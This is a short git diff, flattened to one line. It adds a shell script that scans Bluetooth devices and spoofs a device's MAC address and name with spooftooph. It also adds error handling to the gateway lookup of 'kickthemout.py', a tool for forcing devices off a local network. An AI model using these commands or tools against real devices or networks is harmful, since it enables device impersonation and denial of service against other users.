diff --git a/bluettack.sh b/bluettack.sh new file mode 100644 index 0000000..61d0de4 --- /dev/null +++ b/bluettack.sh @@ -0,0 +1,4 @@ +service bluetooth start +btscanner +spooftooph -i hci0 -a A0:02:DC:11:4F:85 -n Car537 + diff --git a/kickthemout.py b/kickthemout.py index 923bda8..d4d03c8 100644 --- a/kickthemout.py +++ b/kickthemout.py @@ -232,8 +232,14 @@ def getDefaultInterface(): return interface def getGatewayIP(): - getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) - return getGateway_p.src + try: + getGateway_p = sr1(IP(dst="google.com", ttl=0) / ICMP() / "XXXXXXXXXXX", verbose=False) + return getGateway_p.src + except: + print("\n{0}ERROR: Gateway IP could not be obtained. Please enter IP manually.{2}\n").format(RED, END) + header = ('{0}kickthemout{1}> {2}Enter Gateway IP {3}(e.g. 192.168.1.1): '.format(BLUE, WHITE, RED, END)) + gatewayIP = raw_input(header) + return gatewayIP def resolveMac(mac): try: @@ -284,7 +290,6 @@ def main(): print('\n\n{0}Thanks for dropping by.' '\nCatch ya later!{1}').format(GREEN, END) - if __name__ == '__main__': defaultInterface = getDefaultInterface() @@ -292,4 +297,4 @@ if __name__ == '__main__': defaultInterfaceMac = get_if_hwaddr(defaultInterface) scanNetwork() - main() \ No newline at end of file + main() diff --git a/scan.pyc b/scan.pyc new file mode 100644 index 0000000..7b429d7 Binary files /dev/null and b/scan.pyc differ